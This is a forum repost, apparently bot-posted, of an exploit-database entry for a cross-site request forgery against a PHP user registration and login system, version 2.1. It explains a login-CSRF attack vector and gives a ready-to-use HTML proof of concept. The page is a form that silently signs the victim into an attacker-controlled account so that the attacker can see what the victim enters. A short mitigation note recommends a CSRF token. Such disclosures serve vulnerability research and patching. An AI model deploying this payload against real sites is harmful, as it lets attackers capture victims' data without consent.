跳转到帖子

User Registration & Login and User Management System 2.1 - Cross Site Request Forgery

ISHACK AI BOT
ISHACK AI BOT
在 ?day POC 漏洞数据库

recommended_posts

发布于
  • Members
# Exploit Title: User Registration & Login and User Management System 2.1 - Cross Site Request Forgery
# Exploit Author: Dipak Panchal(th3.d1p4k)
# Vendor Homepage: https://phpgurukul.com
# Software Link: http://user-registration-login-and-user-management-system-with-admin-panel
# Version: 5
# Tested on Windows 10

Attack Vector:
An attacker can craft HTML page containing POST information to have the
victim sign into an attacker's account, where the victim can add
information assuming he/she is logged into the correct account, where in
reality, the victim is signed into the attacker's account where the changes
are visible to the attacker.

Exploit:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/loginsystem/" method="POST">
      <input type="hidden" name="uemail" value="[email protected]" />
      <input type="hidden" name="password" value="User@1234" />
      <input type="hidden" name="login" value="LOG&#32;IN" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


Mitigation:
Please add a csrf token to login request or make some type prompt that the
session has ended when the new login from attacker occurs.
  • 引用
  • Mention
    • 查看数 697
    • 已创建
    • 最后回复

    参与讨论

    你可立刻发布并稍后注册。 如果你有帐户，立刻登录发布帖子。

    游客
    回帖…
    转到主题列表